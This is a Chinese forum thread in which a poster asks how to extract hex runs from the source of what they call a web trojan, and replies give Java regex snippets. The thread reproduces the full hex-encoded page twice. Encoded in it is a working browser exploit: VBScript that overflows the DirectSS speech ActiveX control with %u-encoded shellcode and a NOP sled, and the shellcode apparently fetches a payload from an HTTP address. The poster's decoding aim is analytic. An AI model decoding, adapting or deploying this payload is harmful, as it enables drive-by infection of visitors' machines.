S=S+"83539312D464532322D313144302D384245462d30303630303831383431444522206964"
S=S+"3D224469726563745353223e3c2f4F424a4543543e0d0A3C626F64793E0d0A3C7363726"
S=S+"97074206C616e67756167653d227662736372697074223E0d0A6F6e206572726F722072"
S=S+"6573756D65206e6578740d0a733D2225753534656225753735386225753862336325753"
S=S+"3353734257530333738257535366635257537363862257530333230220d0A733d732b22"
S=S+"25753333663525753439633925756164343125756462333325753066333625753134626"
S=S+"525753338323825753734663222200D0A733D732B222575633130382575306463622575"
S=S+"64613033257565623430257533626566257537356466257535656537257535653862222"
S=S+"00D0A733d732B2225753033323425753636646425753063386225753862346225753163"
S=S+"356525756464303325753034386225753033386222200D0A733d732B222575633363352"
S=S+"57537323735257536643663257536653666257536343265257536633663257534333030"
S=S+"25753563336122200D0A733D732B2225753265353525753738363525753030363525756"
S=S+"330333325753033363425753330343025753063373825753430386222200D0A733d732b"
S=S+"22257538623063257531633730257538626164257530383430257530396562257534303"
S=S+"86225753864333425753763343022200D0a733D732B2225753430386225753935336325"
S=S+"75386562662575306534652575653865632575666638342575666666662575656338332"
S=S+"2200d0A733d732B22257538333034257532343263257566663363257539356430257562"
S=S+"66353025753161333625753730326625753666653822200D0a733D732b2225756666666"
S=S+"62575386266662575323435342575386466632575626135322575646233332575353335"
S=S+"3325756562353222200d0A733d732B22257535333234257564306666257562663564257"
S=S+"56665393825753065386125753533653825756666666625753833666622200d0a733d73"
S=S+"2B222575303465632575326338332575363232342575643066662575376562662575653"
S=S+"2643825756538373325756666343022200D0A733D732b22257566666666257566663532"
S=S+"257565386430257566666437257566666666220d0A733D732b222575373436382575373"
S=S+"03734257532663361257533313266257533323339257533313265257533383336257533"
S=S+"313265257533313265257533383333257533383361257530303332220d0a73636f64652"
S=S+"03d20756e657363617065287329202B204E4f500D0a206561783D20756e657363617065"
S=S+"282225666625313322290d0A6562703d20756E657363617065282225666625313322290"
S=S+"d0a6569703D20756E657363617065282225303125306122290D0a6a6E6B3d2073747269"
S=S+"6e672835302C756e65736361706528222531332229290d0A73756e747A75203D2073747"
S=S+"2696e67283838382c22412229202B20656270202B20656970202B20656178202B206a6e"
S=S+"6b0D0A627566666572492020203d20737472696e6728393939393939392c225822290d0"
S=S+"a627566666572494920203D20737472696e6728393939393939392C225922290d0a6275"
S=S+"66666572494949203D20737472696e6728393939393939392C225a22290d0a627566666"
S=S+"572495620203d20737472696E6728393939393939392c224F22290d0A456e67696e6549"
S=S+"443d20737472696E67283230303030302C226222290D0a4d66674e616d653d226465666"
S=S+"1756c74220D0a50726F647563744e616D653d2264656661756C74220D0a4d6f64654944"
S=S+"3d20737472696E67283139393534342c756e6573636170652822253930222929202B207"
S=S+"3636f64650D0a4D6f64654e616D653D2073756E747a750D0A4c616E677561676549443d"
S=S+"310D0a4469616c6563743D2264656661756c74220d0a537065616b65723D22646566617"
S=S+"56c74220d0a5374796c653d310d0A47656E6465723d310D0a4167653d310d0a46656174"
S=S+"757265733d310d0A496E74657266616365733d310d0A456e67696e65466561747572657"
S=S+"33D310D0a0952616e6B456E67696e6549443D310D0a0952616e6B4D66674E616D653d31"
S=S+"0D0a0952616e6b50726F647563744E616D653d310d0a0952616e6B4D6f646549443d310"
S=S+"d0A0952616E6b4D6F64654E616d653D310D0a0952616e6b4c616e67756167653D310d0A"
S=S+"0952616e6B4469616C6563743D310D0a0952616E6B537065616B65723d310D0A0952616"
S=S+"e6B5374796C653D310D0a0952616e6B47656E6465723d310d0A0952616e6b4167653D31"
S=S+"0D0a0952616e6b46656174757265733d310d0A0952616e6b496E74657266616365733d3"
S=S+"10d0a0952616E6b456e67696E6546656174757265733D310D0a44697265637453532E46"
S=S+"696e64456E67696e6520456e67696E6549442c204D66674e616d652C2050726f6475637"
S=S+"44e616d652C204d6F646549442c204d6F64654E616d652C204C616E677561676549442c"
S=S+"204469616C6563742c20537065616B65722C205374796c652C2047656e6465722c20416"
S=S+"7652c2046656174757265732c20496E74657266616365732c20456E67696e6546656174"
S=S+"757265732C2052616e6b456e67696e6549442C2052616e6B4d66674e616d652c2052616"
S=S+"e6B50726F647563744e616D652c2052616e6b4D6f646549442C2052616E6B4D6f64654e"
S=S+"616D652c2052616E6B4c616E67756167652c2052616E6b4469616C6563742c2052616e6"
S=S+"B537065616B65722c2052616E6B5374796C652c2052616E6b47656E6465722c2052616e"
S=S+"6B4167652c2052616E6b46656174757265732c2052616e6B496e74657266616365732c2"
S=S+"052616e6B456e67696E6546656174757265730D0a3C2F7363726970743E0D0a3C2f626F"
S=S+"64793e0d0a3c2F68746D6C3e0d0a0d0A"
提取上面字符创中的类似于 3C68746D6C3e0D0A3C6F626a65637420636c61737369643D22636C7369643a454545373 16进制字符串内容,主要拿过来解密!
7 个解决方案
#1
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TT {
public static void main(String[] args) {
Pattern p = Pattern.compile("\"([0-9a-fA-F]+)\"");
Matcher m = p.matcher("S=\"3C68746D6C3e0D0A3C6F626a65637420636c61737369643D22636C7369643a454545373\"S=S+\"83539312D464532322D313144302D384245462d30303630303831383431444522206964\"");
while (m.find()) {
String s = m.group(1);
System.out.println(s);
}
}
}
#2
[0-9a-fA-F]+
#3
String str="[\\da-fA-F]+";
Pattern p = Pattern.compile(str);
Matcher m = p.matcher(html);
while (m.find()) {
System.out.println(m.group());
}
#4
学习了
#5
谢谢各位的热心帮助,我测试下!
#6
S="3C68746D6C3e0D0A3C6F626a65637420636c61737369643D22636C7369643a454545373"
S=S+"83539312D464532322D313144302D384245462d30303630303831383431444522206964"
S=S+"3D224469726563745353223e3c2f4F424a4543543e0d0A3C626F64793E0d0A3C7363726"
S=S+"97074206C616e67756167653d227662736372697074223E0d0A6F6e206572726F722072"
S=S+"6573756D65206e6578740d0a733D2225753534656225753735386225753862336325753"
S=S+"3353734257530333738257535366635257537363862257530333230220d0A733d732b22"
S=S+"25753333663525753439633925756164343125756462333325753066333625753134626"
S=S+"525753338323825753734663222200D0A733D732B222575633130382575306463622575"
S=S+"64613033257565623430257533626566257537356466257535656537257535653862222"
S=S+"00D0A733d732B2225753033323425753636646425753063386225753862346225753163"
S=S+"356525756464303325753034386225753033386222200D0A733d732B222575633363352"
S=S+"57537323735257536643663257536653666257536343265257536633663257534333030"
S=S+"25753563336122200D0A733D732B2225753265353525753738363525753030363525756"
S=S+"330333325753033363425753330343025753063373825753430386222200D0A733d732b"
S=S+"22257538623063257531633730257538626164257530383430257530396562257534303"
S=S+"86225753864333425753763343022200D0a733D732B2225753430386225753935336325"
S=S+"75386562662575306534652575653865632575666638342575666666662575656338332"
S=S+"2200d0A733d732B22257538333034257532343263257566663363257539356430257562"
S=S+"66353025753161333625753730326625753666653822200D0a733D732b2225756666666"
S=S+"62575386266662575323435342575386466632575626135322575646233332575353335"
S=S+"3325756562353222200d0A733d732B22257535333234257564306666257562663564257"
S=S+"56665393825753065386125753533653825756666666625753833666622200d0a733d73"
S=S+"2B222575303465632575326338332575363232342575643066662575376562662575653"
S=S+"2643825756538373325756666343022200D0A733D732b22257566666666257566663532"
S=S+"257565386430257566666437257566666666220d0A733D732b222575373436382575373"
S=S+"03734257532663361257533313266257533323339257533313265257533383336257533"
S=S+"313265257533313265257533383333257533383361257530303332220d0a73636f64652"
S=S+"03d20756e657363617065287329202B204E4f500D0a206561783D20756e657363617065"
S=S+"282225666625313322290d0A6562703d20756E657363617065282225666625313322290"
S=S+"d0a6569703D20756E657363617065282225303125306122290D0a6a6E6B3d2073747269"
S=S+"6e672835302C756e65736361706528222531332229290d0A73756e747A75203D2073747"
S=S+"2696e67283838382c22412229202B20656270202B20656970202B20656178202B206a6e"
S=S+"6b0D0A627566666572492020203d20737472696e6728393939393939392c225822290d0"
S=S+"a627566666572494920203D20737472696e6728393939393939392C225922290d0a6275"
S=S+"66666572494949203D20737472696e6728393939393939392C225a22290d0a627566666"
S=S+"572495620203d20737472696E6728393939393939392c224F22290d0A456e67696e6549"
S=S+"443d20737472696E67283230303030302C226222290D0a4d66674e616d653d226465666"
S=S+"1756c74220D0a50726F647563744e616D653d2264656661756C74220D0a4d6f64654944"
S=S+"3d20737472696E67283139393534342c756e6573636170652822253930222929202B207"
S=S+"3636f64650D0a4D6f64654e616D653D2073756E747a750D0A4c616E677561676549443d"
S=S+"310D0a4469616c6563743D2264656661756c74220d0a537065616b65723D22646566617"
S=S+"56c74220d0a5374796c653d310d0A47656E6465723d310D0a4167653d310d0a46656174"
S=S+"757265733d310d0A496E74657266616365733d310d0A456e67696e65466561747572657"
S=S+"33D310D0a0952616e6B456E67696e6549443D310D0a0952616e6B4D66674E616D653d31"
S=S+"0D0a0952616e6b50726F647563744E616D653d310d0a0952616e6B4D6f646549443d310"
S=S+"d0A0952616E6b4D6F64654E616d653D310D0a0952616e6b4c616e67756167653D310d0A"
S=S+"0952616e6B4469616C6563743D310D0a0952616E6B537065616B65723d310D0A0952616"
S=S+"e6B5374796C653D310D0a0952616e6B47656E6465723d310d0A0952616e6b4167653D31"
S=S+"0D0a0952616e6b46656174757265733d310d0A0952616e6b496E74657266616365733d3"
S=S+"10d0a0952616E6b456e67696E6546656174757265733D310D0a44697265637453532E46"
S=S+"696e64456E67696e6520456e67696E6549442c204D66674e616d652C2050726f6475637"
S=S+"44e616d652C204d6F646549442c204d6F64654E616d652C204C616E677561676549442c"
S=S+"204469616C6563742c20537065616B65722C205374796c652C2047656e6465722c20416"
S=S+"7652c2046656174757265732c20496E74657266616365732c20456E67696e6546656174"
S=S+"757265732C2052616e6b456e67696e6549442C2052616e6B4d66674e616d652c2052616"
S=S+"e6B50726F647563744e616D652c2052616e6b4D6f646549442C2052616E6B4D6f64654e"
S=S+"616D652c2052616E6B4c616E67756167652c2052616E6b4469616C6563742c2052616e6"
S=S+"B537065616B65722c2052616E6B5374796C652c2052616E6b47656E6465722c2052616e"
S=S+"6B4167652c2052616E6b46656174757265732c2052616e6B496e74657266616365732c2"
S=S+"052616e6B456e67696E6546656174757265730D0a3C2F7363726970743E0D0a3C2f626F"
S=S+"64793e0d0a3c2F68746D6C3e0d0a0d0A"
D=""
这个是一个网页木马加密后的源码
我想只提取中上面的16进制的字符串 其中按照上面几位的操作 还是不能按照完全的提取出想要的内容,但是我对提取的内容做了处理
每次 m.group() 的字符串做了判断,当m.group() 的值长度大于2的时候在做提取。不过还是有误差,请问朋友们还有什么高招赐教
#7
由于是网页木马源码,上面的内容只能提供一部分
#1
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TT {
public static void main(String[] args) {
Pattern p = Pattern.compile("\"([0-9a-fA-F]+)\"");
Matcher m = p.matcher("S=\"3C68746D6C3e0D0A3C6F626a65637420636c61737369643D22636C7369643a454545373\"S=S+\"83539312D464532322D313144302D384245462d30303630303831383431444522206964\"");
while (m.find()) {
String s = m.group(1);
System.out.println(s);
}
}
}
#2
[0-9a-fA-F]+
#3
String str="[\\da-fA-F]+";
Pattern p = Pattern.compile(str);
Matcher m = p.matcher(html);
while (m.find()) {
System.out.println(m.group());
}
#4
学习了
#5
谢谢各位的热心帮助,我测试下!
#6
S="3C68746D6C3e0D0A3C6F626a65637420636c61737369643D22636C7369643a454545373"
S=S+"83539312D464532322D313144302D384245462d30303630303831383431444522206964"
S=S+"3D224469726563745353223e3c2f4F424a4543543e0d0A3C626F64793E0d0A3C7363726"
S=S+"97074206C616e67756167653d227662736372697074223E0d0A6F6e206572726F722072"
S=S+"6573756D65206e6578740d0a733D2225753534656225753735386225753862336325753"
S=S+"3353734257530333738257535366635257537363862257530333230220d0A733d732b22"
S=S+"25753333663525753439633925756164343125756462333325753066333625753134626"
S=S+"525753338323825753734663222200D0A733D732B222575633130382575306463622575"
S=S+"64613033257565623430257533626566257537356466257535656537257535653862222"
S=S+"00D0A733d732B2225753033323425753636646425753063386225753862346225753163"
S=S+"356525756464303325753034386225753033386222200D0A733d732B222575633363352"
S=S+"57537323735257536643663257536653666257536343265257536633663257534333030"
S=S+"25753563336122200D0A733D732B2225753265353525753738363525753030363525756"
S=S+"330333325753033363425753330343025753063373825753430386222200D0A733d732b"
S=S+"22257538623063257531633730257538626164257530383430257530396562257534303"
S=S+"86225753864333425753763343022200D0a733D732B2225753430386225753935336325"
S=S+"75386562662575306534652575653865632575666638342575666666662575656338332"
S=S+"2200d0A733d732B22257538333034257532343263257566663363257539356430257562"
S=S+"66353025753161333625753730326625753666653822200D0a733D732b2225756666666"
S=S+"62575386266662575323435342575386466632575626135322575646233332575353335"
S=S+"3325756562353222200d0A733d732B22257535333234257564306666257562663564257"
S=S+"56665393825753065386125753533653825756666666625753833666622200d0a733d73"
S=S+"2B222575303465632575326338332575363232342575643066662575376562662575653"
S=S+"2643825756538373325756666343022200D0A733D732b22257566666666257566663532"
S=S+"257565386430257566666437257566666666220d0A733D732b222575373436382575373"
S=S+"03734257532663361257533313266257533323339257533313265257533383336257533"
S=S+"313265257533313265257533383333257533383361257530303332220d0a73636f64652"
S=S+"03d20756e657363617065287329202B204E4f500D0a206561783D20756e657363617065"
S=S+"282225666625313322290d0A6562703d20756E657363617065282225666625313322290"
S=S+"d0a6569703D20756E657363617065282225303125306122290D0a6a6E6B3d2073747269"
S=S+"6e672835302C756e65736361706528222531332229290d0A73756e747A75203D2073747"
S=S+"2696e67283838382c22412229202B20656270202B20656970202B20656178202B206a6e"
S=S+"6b0D0A627566666572492020203d20737472696e6728393939393939392c225822290d0"
S=S+"a627566666572494920203D20737472696e6728393939393939392C225922290d0a6275"
S=S+"66666572494949203D20737472696e6728393939393939392C225a22290d0a627566666"
S=S+"572495620203d20737472696E6728393939393939392c224F22290d0A456e67696e6549"
S=S+"443d20737472696E67283230303030302C226222290D0a4d66674e616d653d226465666"
S=S+"1756c74220D0a50726F647563744e616D653d2264656661756C74220D0a4d6f64654944"
S=S+"3d20737472696E67283139393534342c756e6573636170652822253930222929202B207"
S=S+"3636f64650D0a4D6f64654e616D653D2073756E747a750D0A4c616E677561676549443d"
S=S+"310D0a4469616c6563743D2264656661756c74220d0a537065616b65723D22646566617"
S=S+"56c74220d0a5374796c653d310d0A47656E6465723d310D0a4167653d310d0a46656174"
S=S+"757265733d310d0A496E74657266616365733d310d0A456e67696e65466561747572657"
S=S+"33D310D0a0952616e6B456E67696e6549443D310D0a0952616e6B4D66674E616D653d31"
S=S+"0D0a0952616e6b50726F647563744E616D653d310d0a0952616e6B4D6f646549443d310"
S=S+"d0A0952616E6b4D6F64654E616d653D310D0a0952616e6b4c616e67756167653D310d0A"
S=S+"0952616e6B4469616C6563743D310D0a0952616E6B537065616B65723d310D0A0952616"
S=S+"e6B5374796C653D310D0a0952616e6B47656E6465723d310d0A0952616e6b4167653D31"
S=S+"0D0a0952616e6b46656174757265733d310d0A0952616e6b496E74657266616365733d3"
S=S+"10d0a0952616E6b456e67696E6546656174757265733D310D0a44697265637453532E46"
S=S+"696e64456E67696e6520456e67696E6549442c204D66674e616d652C2050726f6475637"
S=S+"44e616d652C204d6F646549442c204d6F64654E616d652C204C616E677561676549442c"
S=S+"204469616C6563742c20537065616B65722C205374796c652C2047656e6465722c20416"
S=S+"7652c2046656174757265732c20496E74657266616365732c20456E67696e6546656174"
S=S+"757265732C2052616e6b456e67696e6549442C2052616e6B4d66674e616d652c2052616"
S=S+"e6B50726F647563744e616D652c2052616e6b4D6f646549442C2052616E6B4D6f64654e"
S=S+"616D652c2052616E6B4c616E67756167652c2052616E6b4469616C6563742c2052616e6"
S=S+"B537065616B65722c2052616E6B5374796C652c2052616E6b47656E6465722c2052616e"
S=S+"6B4167652c2052616E6b46656174757265732c2052616e6B496e74657266616365732c2"
S=S+"052616e6B456e67696E6546656174757265730D0a3C2F7363726970743E0D0a3C2f626F"
S=S+"64793e0d0a3c2F68746D6C3e0d0a0d0A"
D=""
这个是一个网页木马加密后的源码
我想只提取中上面的16进制的字符串 其中按照上面几位的操作 还是不能按照完全的提取出想要的内容,但是我对提取的内容做了处理
每次 m.group() 的字符串做了判断,当m.group() 的值长度大于2的时候在做提取。不过还是有误差,请问朋友们还有什么高招赐教
#7
由于是网页木马源码,上面的内容只能提供一部分